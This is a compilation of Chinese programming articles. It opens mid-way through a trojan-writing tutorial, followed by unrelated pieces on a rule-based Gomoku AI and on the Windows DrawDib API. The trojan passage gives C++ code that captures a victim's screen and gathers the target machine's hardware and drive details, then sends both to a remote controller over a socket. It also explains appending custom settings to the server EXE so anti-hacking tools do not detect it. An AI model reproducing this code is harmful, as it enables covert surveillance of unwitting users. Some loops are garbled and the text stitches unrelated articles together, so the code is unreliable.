  ms->Write(&CopyScreen,sizeof(CopyScreenUint));

  do{

  for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){

  MaxCNum=0;

  for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形

  CNum=GetChangedNum(TRect(num1,num2,num3,num4));

  if (CNum>MaxCNum) MaxCNum=CNum;

  m=(num3-num1)*(num4-num2);

  if (2*m-CNum MinSize=2*m-CNum;

  MinRect=TRect(num1,num2,num3,num4);

  }

  }

  }

  TMemoryStream *ms;

  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

  j->Assign(bt2);

  j->SaveToStream(ms2);

  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);

  CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1

  ms2->Position=0;

  CopyScreenItem.Length=ms2->Size;

  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));

  ms->CopyFrom(ms2,ms2->Size);

  ChangedNum++;

  }while(MaxCNum>0);

  TcpMsg.Type=MsgCopyScreen;

  ms->Position=0;

  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);

  CopyScreen.Count=ChangedNum;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));

  ms->Position=0;

  sock->SendStream(ms);

  }

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

  6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen(“temp.had”,”w+”);

  //TODO: Add your source code here

  //获得CPU型号

  SYSTEM_INFO systeminfo;

  GetSystemInfo (&systeminfo);

  cs=”CPU类型是:”+String(systeminfo.dwProcessorType)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs=”物理内存是(Mb):”+String(int(memory.dwTotalPhys /1024/1024))+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=”可用内存是(Kb):”+String(int( memory.dwAvailPhys/1024))+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

  //5—CD-ROM、6—内存虚拟盘

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

  if(type==0){

  cs=”未知类型磁盘:”+String(name)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==2){

  cs=”可移动类型磁盘:”+String(name)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==3){

  cs=”固定磁盘:”+String(name)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==4)   {

  cs=”网络映射磁盘:”+String(name)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==5)  {

  cs=”光驱:”+String(name)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==6)  {

  cs=”内存虚拟磁盘:”+String(name)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))  {

  cs=String(name)+”盘卷标为:”+String(volname)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+”盘序号为:”+String(sno)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

  totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

  freespace=int(free)*byte*sector/1024/1024; //计算可用空间

  cs=String(name)+String(‘:‘)+”盘总空间(Mb):”+AnsiString(totalspace)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+”盘可用空间(Mb):”+AnsiString(freespace)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs=”当前波形设备:”+String(wavecap.szPname)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs=”当前MIDI设备:”+String(midicap.szPname)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs=”当前分辨率为:”+String(Screen->Width)+AnsiString(“*”)+ String(Screen->Height)+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //计算色彩的梯度数

  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //计算色深

  AnsiString sss;

  sss=bpp;

  cs=”当前色深为:”+sss+”\n”;

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName=”temp.had”;

  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  有些软件允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

  进入Windows的命令行模式下做如下操作

  1)C:\>copy Server.Exe Server.Bak

  2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”

  3)C:\>type Text.Txt>>Server.Exe

  4)运行Server.Exe

   怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自 身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处 理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

  8、总结

   以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第 五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。

老调重提,利用SDK实现智能五子棋

作者:赖锋

下载源代码

  网上有很多的实现五子棋的算法,如利用规则法,递归法,博弈树法来实现五子棋的,上次我写了一篇利用SDK实现迷宫算法的文章——“老调重提,利用 SDK 实现迷宫算法”,这次还是同样的题目,老调重提,我利用的是规则法来实现五子棋的智能。不过我个人认为还是博弈树法还是简洁。如果读者对博弈树有兴趣的,可以重读数据结构中的树结构的实现这一部分!

这是利用SDK实现的五子棋程序运行界面:

这里我讲出我实现的思路:
第一步,计算出一个棋盘的五子棋的所有胜利组合。
第二步,计算出玩家的下棋状态,电脑将会根据玩家的状态而采取进攻或防守。
第三步,根据第二步的运行情况,而出现三种结果,玩家获胜,电脑获胜,和局。
第一步,计算胜利的组合

  从图中可以看出,只要五个棋子连续成一直线就可以胜利,这样我们就可以根据这样的规则计算出所有的胜利组合,利用组合运算可以算出一个10 * 10的棋盘的胜利组合可以有192种。即这样计算,每一行有十个格,计算出连续的五个格的组合,10个格中无论怎样已经有四个格连续的了,剩下的六个格中每一个都会是连续的组合,所以C6.1 = 6,共有6种胜利组合,10行共有 60 种胜利组合,10列中也会有 60 种胜利组合, 对角线则这样计算, 从正对角线开始, 其组合成直线的格可以有 10, 9, 8, 7, 6, 5, 剩下的不足五格,不可能构成胜利组合 C(10 – 4).1 = 6, C(9 – 4).1 = 5, C(8 – 4).1 = 4, C(7 – 4).1 = 3, C(6 – 4).1 = 2, C(5 – 5).1 = 1,由于对称,即对角线有 6 + ( 5 + 4 + 3 + 2 + 1 ) * 2 = 36, 反对角线同样为 36。则所有的胜利组合为 36 * 2 + 60 * 2 = 192 种胜利组合,玩家和电脑的所有获胜都会在这些组合中。

//知道所有的胜利组合状态,我们可以定义一个数组记录这些组合.BOOL bArrPlayerWin[ 10 ][ 10 ][ 192 ] = { FALSE };BOOL bArrComWin[ 10 ][ 10 ][ 192 ] = { FALSE };

  这是一个三维数组, 记录了在棋盘中所有的胜利组合.如玩家在棋盘 列1 行1的位置,则有三种胜利组合,如图:

  可能为bArrPlayer[1][1][3] = TRUE,bArrPlayer[1][1][6] = TRUE,bArrPlayer[1][1][9] = TRUE如果电脑在标记为绿色的位置的地方放了棋子,则破坏了这种获胜组合,玩家不可能在这种组合中获胜,所以把其值设成 FALSE,则电脑可以不用在这儿再放置棋子了,同样,玩家可以破坏电脑的获胜组合。
  计算所有的胜利的组合在 InitWinStatus()函数中,这些代码很简单,所以不讲解了,请读者自已理解这些代码!

void InitWinStatus(){ int nCount = 0;

 // Set the vertical combinations winning status. for ( int i = 0; i < 10; i++ ) for ( int j = 0; j < 6; j++ ) { for ( int k = 0; k < 5; k++ ) { bArrPlayerWin[ j + k ][ i ][ nCount ] = TRUE; bArrComWin[ j + k ][ i ][ nCount ] = TRUE; }

 nCount++; }

 // Vertical has 60 winning status. assert( nCount == 60 );

 // Set the horizontal combinations winning status. for ( i = 0; i < 10; i++ ) for ( int j = 0; j < 6; j++ ) { for ( int k = 0; k < 5; k++ ) { bArrPlayerWin[ i ][ j + k ][ nCount ] = TRUE; bArrComWin[ i ][ j + k ][ nCount ] = TRUE; }

 nCount++; }

 // Horizontal has 60 winning status assert( nCount == 120 );

 // Set the positive diagonal winning status. for ( i = 0; i < 6; i++ ) for ( int j = 0; j < 6; j++ ) { for ( int k = 0; k < 5; k++ ) { bArrPlayerWin[ j + k ][ i + k ][ nCount ] = TRUE; bArrComWin[ j + k ][ i + k ][ nCount ] = TRUE; }

 nCount++; }

 // Positive diagonal has 36 winning status. assert( nCount == 156 );

 // Set the negative diagonal winning status. for ( i = 0; i < 6; i++ ) for ( int j = 9; j > 3; j-- ) { for ( int k = 0; k < 5; k++ ) { bArrPlayerWin[ j - k ][ i + k ][ nCount ] = TRUE; bArrComWin[ j - k ][ i + k ][ nCount ] = TRUE; }

 nCount++; }

 // Negative diagonal has 36 winning status. assert( nCount == 192 );

 // Who is the first ? if ( rand() % 2 == 0 ) bPlayerDo = TRUE; else bComputerDo = TRUE;}

  第二步,电脑计算玩家下棋状态采取进攻或防守的策略,这是五子棋的关键所在,这儿给出实现的伪代码.

 // 计算玩家的状态. for ( int i = 0; i < 10; i++ ) for ( int j = 0; j < 10; j++ ) if ( nArrBoard[ i ][ j ] == NoBall ) { // 利用一个变量记录该位置的分值. nArrPlayerGrades[ i ][ j ] = 0; for ( int k = 0; k < 192; k++ ) // 该位置是在获胜的组合中. if ( bArrPlayerWin[ i ][ j ][ k ] ) switch( nArrWinner[ nPlayer ][ k ] ) // 根据放在组合的棋子数计算分值. // 棋数越多,分值越高. } // 计算电脑的状态, 代码同上. .........

 // 判断情况 if ( nArrComGrades[ i ][ j ] < nArrPlayerGrades[ i ][ j ] ) // 该胜利组合中有可能输 进攻; else 防守;

第三步,在第二步中不停地进攻防守,则可以出现三种结果,电脑胜,玩家胜,或和局。

for ( int i = 0; i <= 1; i++ ) for ( int j = 0; j < 192; j++ ) { if ( nArrWinner[ i ][ j ] == 5 ) if ( i == nPlayer ) { bPlayerWin = TRUE; bOver = TRUE; break; } else { bComputerWin = TRUE; bOver = TRUE; break; } if ( bOver ) break; }

  遍历所有的胜利组合, 如果所属的组合已经有五颗棋子,有则游戏结束!这只是简单地说明我实现的过程,附件中附有五子棋的所有源代码,你自已修改这些代码,增加功能。

结语

  从这里可以初步了解, AI的其本实现就是要将所有的情况计算出来, 再根据情况而采取相应
的措施。但是这里的实现只是限于简单的五子棋规则, 从而把其所有的胜利计算出来, 对于象棋,围棋等复杂的情况,我们还是需要用博弈树进行剪枝来找出所有的胜利组合。希望你会喜欢这个游戏!

2004年09月24日

DrawDib函数组的使用

作者:罗隽

    Microsoft的针对与设备无关位图(DIB位图),在其WIN32 SDKMultimedia中提供了一组绘制DIB位图的高性能函数组──DrawDib函数组。DrawDib函数组是一组不依赖于图形设备接口(GDI)函数,而直接操作显存的函数组。它们支持8位、16位、24位和32位图象深度的DIB。总的来说,DrawDib函数组类似于StretchDIBits函数,它们都提供了将图象拉伸和抖动的功能,然而,DrawDib函数组还支持图象的解压、数据流以及更多的显示适配器。在某些情况下,DrawDib函数组还具有更大的优越性。但是,在某些场合下,DrawDib函数组却不能取代StretchDIBits函数。下面就DrawDib函数组和StretchDIBits函数使用的场合加以区别和说明:

  • 颜色信息表格式。DrawDib函数组只支持颜色信息表格式为DIB_RGB_COLORS格式的图象,如果要显示以DIB_PAL_COLORSDIB_PAL_INDICES格式的图象,则必须用StretchDIBits函数。

  • 光栅操作模式。DrawDib函数组只能使用SRCCOPY光栅操作模式,如果要求不仅仅使用SRCCOPY模式的话,只能用StretchDIBits函数。同样地,如果要使用其他光栅操作,例如XOR,只能用StretchDIBits函数。

  • 视频及动画回放的质量。DrawDib函数组支持数据流应用,诸如视频片和动画序列,它比StretchDIBits函数提供了更高的图象质量以及对回放过程的改进。

  • 显示适配器。DrawDib函数组比StretchDIBits函数支持更多的显示适配器。DrawDib函数组支持使用4位图象深度提供16色调色板的VGA适配器,使用8位图象深度提供256色调色板的SVGA适配器和使用16位、24位和32位图象深度提供成千上万种颜色的真彩色适配器。DrawDib函数组还使用了受限制的潜在能力提高了图象在显示适配器上的速度和质量。例如,当使用8位的显示适配器时,DrawDib函数组有效地将真彩色图象抖动为256色;同样的,使用4位的显示适配器时,它们也将8位深度的图象抖动成4位。

  • 图象拉伸。正如StretchDIBits一样,DrawDib函数组用源矩形和目的矩形来控制一个图象显示的部分。可以通过改变源矩形和目的矩形的位置和大小来裁剪一幅图象不需要的部分和拉伸某部分。如果显示驱动不支持图象拉伸,那么DrawDib函数组提供了比StretchDIBits函数更有效的拉伸能力。

  • 压缩图象。DrawDib函数组支持好几种压缩和解压方法,其中包括游程编码,JPEG,Cinepak,411YUVIndeo?

 

DrawDib的操作

    通过使用DrawDibOpen函数初始化DrawDib函数组。DrawDibOpen负责装载动态连接库(DLL),申请内存资源,DrawDib设备环境(DC),并且维持初始化相关的设备环境计数。DrawDibOpen同时返回一个其它DrawDib函数所需要使用的新的DC句柄。

    当使用完DrawDib DC后,可以用DrawDibClose函数释放它。DrawDibClose同时减少存取DLL的应用的计数。在应用程序中,DrawDibClose函数应是最后的DrawDib操作。

    可以创建任意多的DrawDib DC,也可以同时使用多个DrawDib DC来绘制几幅位图。在应用程序中可以创建多个不同性质的DrawDib DC,这样就可以选择最合适的DC设置。例如,在同一应用程序中,创建两个不同的DrawDib DC,一个用来显示图象的正常分辨率,另一个用来显示图象的放大部分。

    为了更有效地运行,DrawDib函数组需要知道显示适配器及其驱动的信息。显示配置信息是在第一次使用包含DrawDib函数组的DLL时,对显示适配器通过了一系列的测试之后得到的。DrawDib函数组的所有应用都要用到这个配置信息。可以通过调用DrawDibProfileDisplay函数来强制重新进行这些测试。

    通常,取得和保存显示配置是一次性的事件。如果配置信息发现在这个系统中安装了另一个显示驱动时,DrawDib则重新进行测试。

 

图象再现

    创建了DrawDib DC后,就可以用DrawDibDraw函数将DIB绘至屏幕。当在8位深度的显示适配器上显示真彩色图象时,DrawDib将自动地抖动图象。

    DrawDib也透明地支持视频压缩器。当显示压缩位图时,可通过DrawDibGetBuffer函数得到包含了解压图象数据的缓冲区。如果位图是未压缩的,则DrawDibGetBuffer返回NULL。在应用程序中应自己区分位图是否压缩。

    可用DrawDibUpdate宏来刷新一幅图象的整体或一部分的显示。

 

图象序列

   当DrawDibDraw函数同DrawDibBegin函数一起运用时,可以显示相同尺寸和格式的位图序列。DrawDib通过DrawDibBegin准备绘图的DrawDib DC来提高DrawDibDraw的效率。如果,应用程序没有调用DrawDibBegin,那么DrawDibDraw会在绘图前隐含地执行DrawDibBegin

    DrawDibBeginDrawDibDraw提供了DrawDibDCDC的句柄,BITMAPINFOHEADER结构的地址和源矩形及目的矩形的尺寸。当要显示一个位图序列时,DrawDibDraw要检查序列中的每幅图象的这些值。如果DrawDibDraw检测到这些值有任何变化,它将隐含地再次调用DrawDibBegin来调整DrawDib DC的设置。

    当调用完DrawDibBegin后,就可以指定一个或多个适当的标志来调用DrawDibDraw绘制图象序列。只要DC句柄未改变,就可指定DDF_SAME_HDC标志;下列参数未改变,就可指定DDF_SAME_DRAW标志:BITMAPINFOHEADER结构的地址和源矩形及目的矩形的尺寸。

    可以通过在DrawDibEnd后跟另一个DrawDibBegin调用来更新前一个DrawDibBegin设置的标志。DrawDibEnd清除了当前的DrawDib DC的标志和设置。后续的调用DrawDibBegin将重新初始化DrawDib DC,并重新设置适当的标志和设置。然而,只要至少改变了以下任一个当前的标志设置:BITMAPINFOHEADER结构的地址或是源矩形或目的矩形的尺寸,也可不使用DrawDibEnd而直接调用DrawDibBegin来更新一个DrawDib DC

    通过使用DrawDibStartDrawDibStop函数,可以提高使用压缩图象的数据流操作(如回放一个视频片)的DrawDibDraw的效率。DrawDibStart通过发送一个消息告诉视频管理器(VCM)准备DrawDib DC来接受一个图象流。当流结束时,DrawDibStop发送一个消息给VCM来指示它释放申请的资源。

    需要注意的是,在应用程序中必须确定源矩形和目的矩形的宽度和高度;然而却并不需要确定这些矩形的起点。应用程序可以重新DrawDibDraw中的起点坐标来使用图象的不同部分或更新显示的不同部分。

 

调色板

    DrawDib函数组需要响应两条调色板消息:WM_QUERYNEWPALETTEWM_PALETTECHANGED。如果应用程序未注意到调色板,就需要对这些消息都增加一个各自的消息处理。

    通过使用DrawDibRealize函数可在当前DC中实现当前DrawDib的调色板。应当在响应WM_QUERYNEWPALETTEWM_PALETTECHANGED消息时,或在用DrawDibDraw函数显示一个图象序列的准备过程中实现调色板。

    可以用DrawDibSetPallette函数用另一个调色板的映射来绘一幅图象。DrawDibSetPallette强迫DrawDib DC使用指定的调色板,而这会影响到图象的质量。例如,一个注意调色板的应用程序,可能已经实现了一个调色板并需要阻止DrawDib实现它自己的调色板。应用程序可以通过DrawDibSetPalette来通知DrawDib调色板的使用。

    通过使用DrawDibGetPallette函数可以获得当前前景调色板的一个句柄。如果应用程序使用了当前前景调色板,它并没有对调色板的完全使用权,另一个应用程序能够使这个调色板句柄无效。当使用完毕后,应用程序不应该释放调色板,那样会使另一个应用程序不能使用调色板。

    通过使用DrawDibChangPallete函数可以为它的调色板DrawDib来接收新的颜色值。在紧跟DrawDibChangPallete的后面的代码里,可以为调色板颜色表指定新的值。当调用DrawDibChangPalette时,在DrawDib DC中未设置DDF_ANIMATE标志的话,可以通过使用DrawDibRealize来实现调色板和DrawDibDraw重绘图象来实现调色板的改变。如果DDF_ANIMATE标志在DrawDib DC中设置了,就可以通过DrawDibDrawDrawDibRealize来实现调色板和显示着的位图颜色的动画。通过DrawDibEndDrawDibBegin可以DDF_ANIMATE标志。

    如果释放了被选入DCDrawDib调色板,DC使用调色板时会报告一个GDI错误。相反,应该使用DrawDibSetPalette改变DrawDib DC来使用省缺调色板后另一调色板。

    由于以下函数会释放DrawDib调色板,所以,除非调色板不被DC选中不应使用:DrawDibEnd,DrawDibCloseDrawDibBegin。同样的,当使用了相同的DrawDib DC,但指定了不同的绘制参数(lpbi,dxDst,dyDst,dxSrcdySrc)或不同格式时,DrawDibDraw也会释放调色板。

 

时间计算

    作为调试应用程序的一部分,调用DrawDibTime函数可以得到一些关于完全重复特定次数DrawDib操作所需时间。DrawDibTime返回以下操作的时间:

  • 绘制一幅位图
  • 解压一幅位图
  • 抖动一幅位图
  • 拉伸一幅位图
  • 使用BitBlt函数变换一幅位图

  • 使用StrecthDIBits函数变换一幅位图

    得到返回值后,DrawDibTime重新设置每项操作的计数和值。

    注意,DrawDibTime只在DrawDib函数的调试版中可用。

 

DrawDib的使用

    增加调色板消息处理

    下面的例子说明了WM_PALETTECHANGEDWM_QUERYNEWPALETTE消息的处理。这个例子用了DrawDibRealize函数来进行WM_QUERYNEWPALETTE消息的处理。

    应用程序应通过使目标窗口无效来让DrawDibDraw函数重绘图象来响应WM_QUERYNEWPALETTE消息。应用DrawDibRealize函数实现调色板来响应WM_PALETTECHANGED消息。

        case WM_PALETTECHANGED:
                if ((HWND) wParam == hwnd)
                     break;
            case WM_QUERYNEWPALETTE:
             hdc = GetDC(hwnd);
                f = DrawDibRealize (hdd,hdc,FALSE) > 0;
             ReleaseDC (hwnd,hdc);
             if (f)
                InvalidateRect ( hwnd,NULL,TRUE);
                break;

    显示设备绘制

    下面例子用DrawDibrealize函数在显示一个位图序列之前准备DrawDib DC.

             hdc = GetDC(hwnd);
            DrawDibBegin(hdd,hdc,dxDest,dyDest,lpbi,dxSrc,dySrc,NULL);
            DrawDibRealize(hdd,hdc,fBackground);
            DrawDibDraw(hdd,hdc,xDst,yDst,dxDst,dyDst,lpbi,lpBits,
                xSrc,ySrc,dxSrc,dySrc,DDF_SAME_DRAW|DDF_SAME_HDC);
            DrawDibDraw(hdd,hdc,xDst,yDst,dxDst,dyDst,lpbi,lpBits,
                xSrc,ySrc,dxSrc,dySrc,DDF_SAME_DRAW|DDF_SAME_HDC);
            DrawDibDraw(hdd,hdc,xDst,yDst,dxDst,dyDst,lpbi,lpBits,
                xSrc,ySrc,dxSrc,dySrc,DDF_SAME_DRAW|DDF_SAME_HDC);
            ReleaseDC(hwnd,hdc);

    调色板动画

    下面用了DrawDibRealize,DrawDibChangPaletteDrawDibDraw函数演示调色板动画。

    能够用DrawDibBegin函数协同DrawDibChangepalette函数改变一幅位图的颜色。首先,在调用DrawDibBegin时指定DDF_ANIMATE标志允许调色板改变;然后,用DrawDibChangePalette函数从调色板入口设置颜色表的值。

    例如,如果lppe是一个包含新颜色的PALETTEENTRY队列的地址,并且lpbi是在DrawDibBeginDrawDibDraw中使用的LPBITMAPINFOHEADER结构,则后面的程序片段更新DIB的颜色表。

             hdc = GetDC(hwnd);
            DrawDibBegin(hdd,…,DDF_ANIMATE);
             DrawDibRealize(hdd,hdc,fBackground);
            DrawDibDraw(hdd,hdc,…,DDF_SAME_DRAW|DDF_SAME_HDC);
            //改变颜色调用
           DrawDibChangePalette(hdd,iStart,iLen,lppe);
            ……
            ReleaseDC(hwnd,hdc);

    下面给出一个实例的关键片段加以说明:(在Visual C++ 4.2 Windows95Windows NT环境下通过。)

        void CTestDrawDibView::OnDraw(CDC* pDC)

        {

            CTestDrawDibDoc* pDoc = GetDocument();//得到文档指针

            ASSERT_VALID(pDoc);

            // TODO: add draw code for native data here

            m_DibMem = pDoc->m_Buf;//得到DIB的内存

            if (m_DibMem == NULL)

            {

                //AfxMessageBox(“Error in m_DibMem”);

                return;

            }

            UINT offset = pDoc->m_Off; //得到DIB数据的偏移

            int xDst,yDst,dxDst,dyDst,xSrc,ySrc,dxSrc,dySrc;

            LPBITMAPINFOHEADER lpbi;

            LPVOID lpDibMem;

            LPVOID lpbits=NULL;

            // get the Windows width & height 得到窗口的宽高

            RECT rect;

            GetClientRect(&rect);

            xDst = yDst = 0;

            dxDst = rect.right – rect.left;

            dyDst = rect.bottom – rect.top;

            // Get Dib info得到DIB的信息

            xSrc = ySrc =0;

            lpDibMem = GlobalLock(m_DibMem);//锁定内存得到指针

            lpbi = (LPBITMAPINFOHEADER)lpDibMem;//得到DIB信息

            dxSrc = lpbi->biWidth;

            dySrc = lpbi->biHeight;

            lpbits = (LPSTR)lpDibMem + offset – sizeof(BITMAPFILEHEADER);

            // Draw DibDIB

            HDC hdc = NULL;

            hdc = pDC->m_hDC;

            /*

            // Using SetDIBToDevice使用SetDIBToDevice函数为对照

            int line = SetDIBitsToDevice(hdc,
                    xDst,
                    yDst,
                    dxSrc,
                    dySrc,
                    xSrc,
                    ySrc,
                    0,
                    dySrc,
                    lpdib,//lpbits,
                    (LPBITMAPINFO)lpbi,
                    DIB_RGB_COLORS);

            if(0 == line)
         {

                AfxMessageBox(“Error in SetDIBsToDevice”);

            }

            */

            /*

            // Using StretchDIBits使用StretchDIBits函数为对照

            int line = StretchDIBits(hdc,
                    xDst,

               yDst,
               dxDst,
                    dyDst,
                    xSrc,
                    ySrc,
                    dxSrc,
                    dySrc,
                    lpbits,
                    (LPBITMAPINFO)lpbi,
                    DIB_RGB_COLORS,
                    SRCCOPY);

            if(0 == line)

            {

                AfxMessageBox(“Error in SetDIBsToDevice”);

            }

            */

            // Using DrawDib使用DrawDib

            // Set Dawing flag设置绘制标志

            UINT wFlags;

            //标志意义参见前面的函数参考,以下两个标志可绘出图象,
            //其余标志在这种情况下绘不出图象。

            wFlags = DDF_DONTDRAW;

            //wFlags = DDF_NOTKEYFRAME;

            HDRAWDIB hdd = DrawDibOpen();

            if (hdd != NULL)

            {

                BOOL Suc = TRUE;

                //具体参数请参见前面函数参考

                Suc = DrawDibDraw(hdd,
                        hdc,
                        xDst,
                        yDst,
                        dxDst,
                        dyDst,
                        lpbi,
                        lpbits,
                        xSrc,
                        ySrc,
                        dxSrc,
                        dySrc,
                        wFlags);

                if(Suc == FALSE) AfxMessageBox(“DrawDib Failed”);

                /* //时间测试

                DRAWDIBTIME time;

                DrawDibTime(hdd ,&time);

                char buf[256];

                sprintf(buf,”Count %d\nDraw %d\nDecompress %d\n
                    Dither %d\nStretch %d\nBlt %d\n SetDIBits %d\n”,
                    time.timeCount,time.timeDraw,
                    time.timeDecompress,time.timeDither
,
                    time.timeStretch,time.timeBlt,
                    time.timeSetDIBits);

                AfxMessageBox(buf);

                */

                DrawDibClose(hdd);

        }

            else

                AfxMessageBox(“Error in DrawDibOpen”);

            GlobalUnlock(m_DibMem);//释放DIB句柄

       }

 

附:函数参考:

DrawDibBegin

这个DrawDib函数改变一个DrawDib DC的参数或初始化一个新的DrawDib DC.

BOOL DrawDibBegin(

HDRAWDIB hdd,

HDC hdc,

int dxDest,

int dyDest,

LPBITMAPINFOHEADER lpbi,

int dxSrc,

int dySrc,

UINT wFlags

);

参数

hdd DrawDib DC的句柄

hdc 绘图DC的句柄。此参数为可选。

dxDstdyDst MM_TEXT方式下目的矩形的宽度和高度。

lpbi 包含图象格式的BITMAPINFOHEADER结构的地址。DIB颜色表紧跟图象格式,并且biHeight成员必须为一正值。

dxSrcdySrc 源矩形的宽度和高度(以象素为单位)。

wFlags 函数调用的可用标志。定义了以下的值:

DDF_ANIMATE 允许调色板动画。如果这个值被设置,通过在LOGPALETTE结构中设置palPalEntry成员PC_RESERVED标志,则DrawDib保存了尽可能多的入口,调用drawDibChangePalette函数就可实现调色板动画。如果应用程序用了DrawDibBegin函数协同DrawDibDraw函数,最好在DrawDibBegin中设置这个值而不在DrawDibDraw中。

DDF_BACKGROUNDPAL 实现作为背景的调色板,保留当前显示所使用的调色板不变。(这个值与DDF_SAME_HDC互斥。)

DDF_BUFFER 使DrawDib使用屏幕缓冲,这样DDF_UPDATE才可使用。这关闭了解压和直接绘屏。如果DrawDib不能创建一个脱屏缓冲,就解压或直接绘屏。

DDF_DONTDRAW 当前图象未绘,但已解压。DDF_UPDATE能够以后被用来绘图象。这个标志取代了DDF_PREROLL标志。

DDF_FULLSCREEN 不被支持。

DDF_HALFTONE 不管DIB的调色板如何而把DIB抖动成标准调色板。如果应用程序用DrawDibBegin协同DrawDibDraw,在DrawDibBegin中设置这个值而不在DrawDibDraw中。

DDF_JUSTDRAWIT GDI绘这图象。禁止DrawDib函数解压,拉伸或抖动图象。这实际上剥夺了DrawDib区别于StrechDIBits函数的能力。

DDF_SAME_DRAW DrawDibDraw使用当前的绘制参数。只有当从使用DrawDibDrawDrawDibBegin起,lpbidxDextdyDestdxSrcdySrc就未改变才用这个值。这个标志取代了DDF_SAME_DIBDDF_SAME_SIZE标志。

DDF_SAME_HDC 使用当前DC句柄以及与当前句柄相关联的调色板。

DDF_UPDATE 最后缓存的图象需要绘制。如果用这个值绘制失败,则缓冲的图象不在有效,并且在显示被更新前,需要指定一幅新的图象。

返回值

成功返回TRUE,否则FALSE

这个函数准备由lpbi指定要绘往DCDIB。图象已经拉伸成由dxDestdyDest所指定的大小。如果dxDestdyDest被设置成-1DIB则被按原比例绘制。

可通过重新使用DrawDibBegin,指定新的标志和改变至少一个以下的设置:dxDestdyDestlpbidxSrcdySrc来更新DrawDib DC的标志。

如果DrawDibBegin的参数未被改变,再次调用这个函数将不起作用。
